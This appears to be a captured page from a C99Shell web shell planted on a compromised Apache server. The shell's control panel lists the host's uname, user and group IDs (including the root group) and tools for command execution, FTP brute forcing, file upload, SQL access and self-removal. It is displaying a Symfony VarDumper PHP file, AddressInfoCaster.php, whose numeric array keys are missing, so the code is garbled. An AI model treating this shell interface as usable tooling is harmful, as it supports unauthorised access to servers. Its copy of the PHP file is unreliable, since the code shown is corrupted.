!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/symfony/var-dumper/Caster/   drwxr-xr-x
Free 28.45 GB of 117.98 GB (24.12%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AddressInfoCaster.php (2.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\VarDumper\Caster;

use 
Symfony\Component\VarDumper\Cloner\Stub;

/**
 * @author Nicolas Grekas <p@tchwork.com>
 *
 * @internal since Symfony 7.3
 */
final class AddressInfoCaster
{
    private const 
MAPS = [
        
'ai_flags' => [
            
=> 'AI_PASSIVE',
            
=> 'AI_CANONNAME',
            
=> 'AI_NUMERICHOST',
            
=> 'AI_V4MAPPED',
            
16 => 'AI_ALL',
            
32 => 'AI_ADDRCONFIG',
            
64 => 'AI_IDN',
            
128 => 'AI_CANONIDN',
            
1024 => 'AI_NUMERICSERV',
        ],
        
'ai_family' => [
            
=> 'AF_UNIX',
            
=> 'AF_INET',
            
10 => 'AF_INET6',
            
44 => 'AF_DIVERT',
        ],
        
'ai_socktype' => [
            
=> 'SOCK_STREAM',
            
=> 'SOCK_DGRAM',
            
=> 'SOCK_RAW',
            
=> 'SOCK_RDM',
            
=> 'SOCK_SEQPACKET',
        ],
        
'ai_protocol' => [
            
=> 'SOL_SOCKET',
            
=> 'SOL_TCP',
            
17 => 'SOL_UDP',
            
136 => 'SOL_UDPLITE',
        ],
    ];

    public static function 
castAddressInfo(\AddressInfo $h, array $aStub $stubbool $isNested): array
    {
        static 
$resolvedMaps;

        if (!
$resolvedMaps) {
            foreach (
self::MAPS as $k => $map) {
                foreach (
$map as $v => $name) {
                    if (
\defined($name)) {
                        
$resolvedMaps[$k][\constant($name)] = $name;
                    } elseif (!isset(
$resolvedMaps[$k][$v])) {
                        
$resolvedMaps[$k][$v] = $name;
                    }
                }
            }
        }

        foreach (
socket_addrinfo_explain($h) as $k => $v) {
            
$a[Caster::PREFIX_VIRTUAL.$k] = match (true) {
                
'ai_flags' === $k => ConstStub::fromBitfield($v$resolvedMaps[$k]),
                isset(
$resolvedMaps[$k][$v]) => new ConstStub($resolvedMaps[$k][$v], $v),
                default => 
$v,
            };
        }

        return 
$a;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.006 ]--